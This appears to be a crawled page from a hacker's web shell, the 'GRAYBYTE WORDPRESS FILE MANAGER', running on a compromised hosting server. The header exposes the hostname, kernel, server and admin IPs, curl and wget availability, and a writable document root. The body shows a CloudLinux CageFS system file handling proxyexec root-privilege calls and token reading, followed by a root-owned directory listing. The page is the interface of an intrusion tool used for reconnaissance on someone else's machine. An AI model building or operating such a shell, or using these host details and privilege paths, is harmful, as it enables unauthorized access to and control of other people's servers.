✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.6
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/cloudlinux/venv/lib/python3.11/site-packages/clcagefslib//cli.py
# -*- coding: utf-8 -*-
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2025 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENCE.TXT
#
"""
CLI helper utilities for CageFS user commands.

Provides functions for:
- Re-entering CageFS environment
- Calling commands via proxyexec for privilege escalation
"""

import logging
import os
import pwd
import subprocess
import sys

from clcommon import clcagefs

logger = logging.getLogger(__name__)

CAGEFS_TOKEN_PATH = "/var/.cagefs/.cagefs.token"


def get_cagefs_token():
    """
    Read the CageFS token from the token file.

    Returns:
        str: The CageFS token, or None if not found
    """
    try:
        with open(CAGEFS_TOKEN_PATH, "r") as f:
            return f.read().strip()
    except (IOError, OSError):
        return None


PROXYEXEC_DAEMON_PATH = "/usr/sbin/proxyexec"


def _is_parent_proxyexec():
    """
    Verify that the parent process is the proxyexec daemon
    by checking /proc/<ppid>/exe (kernel-controlled, not spoofable).

    Returns:
        bool: True if parent process is the proxyexec daemon
    """
    try:
        ppid = os.getppid()
        parent_exe = os.readlink("/proc/%d/exe" % ppid)
        # Kernel appends " (deleted)" when binary is replaced during upgrade
        if parent_exe.endswith(" (deleted)"):
            parent_exe = parent_exe[:-len(" (deleted)")]
        return parent_exe == PROXYEXEC_DAEMON_PATH
    except (OSError, IOError):
        return False


def is_running_via_proxyexec():
    """
    Check if the script is running via proxyexec.

    Verifies both that the PROXYEXEC_UID environment variable is set
    and that the parent process is the proxyexec daemon binary.
    This prevents spoofing via environment variable injection.

    Returns:
        bool: True if running via proxyexec, False otherwise
    """
    if os.environ.get("PROXYEXEC_UID") is None:
        return False
    return _is_parent_proxyexec()


def call_via_proxyexec(alias, args_list):
    """
    Call a command via proxyexec to execute with root privileges.

    Args:
        alias: The proxyexec command alias (e.g., "CAGEFSCTL_USER_SITE_ISOLATION_LIST")
        args_list: Additional arguments to pass

    Returns:
        int: Exit code from the proxyexec command, or None on error
    """
    token = get_cagefs_token()
    if not token:
        logger.error("Failed to read CageFS token")
        return None

    username = pwd.getpwuid(os.getuid()).pw_name
    cwd = os.getcwd()
    pid = str(os.getpid())

    # Build proxyexec command
    # Format: /usr/sbin/proxyexec -c cagefs.sock USER CWD ALIAS PID [ARGS...]
    cmd = [
        "/usr/sbin/proxyexec",
        "-c", "cagefs.sock",
        username,
        cwd,
        alias,
        pid,
    ] + args_list

    env = {"CAGEFS_TOKEN": token}

    p = subprocess.Popen(cmd, stdout=sys.stdout, stderr=sys.stderr, stdin=sys.stdin, env=env)
    p.communicate()
    return p.returncode


def reenter_cagefs(argv=None):
    """
    Re-execute inside CageFS when running outside.

    Args:
        argv: Command line arguments to pass (defaults to sys.argv)

    Returns:
        int: Exit code from the re-executed command
    """
    if argv is None:
        argv = sys.argv

    cmd = ["/bin/cagefs_enter"] + argv
    p = subprocess.Popen(cmd, stdout=sys.stdout, stderr=sys.stderr, stdin=sys.stdin, env={})
    p.communicate()
    return p.returncode


def in_cagefs():
    """
    Check if currently running inside CageFS.

    Returns:
        bool: True if inside CageFS, False otherwise
    """
    return clcagefs.in_cagefs()


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
25 Jun 2026 7.01 AM
root / root
0755
__pycache__
--
23 Jun 2026 7.00 AM
root / root
0755
selector
--
23 Jun 2026 7.00 AM
root / root
0755
webisolation
--
23 Jun 2026 7.00 AM
root / root
0755
__init__.py
0.176 KB
29 May 2026 9.37 AM
root / root
0644
cli.py
3.579 KB
29 May 2026 9.37 AM
root / root
0644
const.py
0.914 KB
29 May 2026 9.37 AM
root / root
0644
domain.py
21.102 KB
29 May 2026 9.37 AM
root / root
0755
exceptions.py
0.393 KB
29 May 2026 9.37 AM
root / root
0644
fs.py
0.996 KB
29 May 2026 9.37 AM
root / root
0644
io.py
3.111 KB
29 May 2026 9.37 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF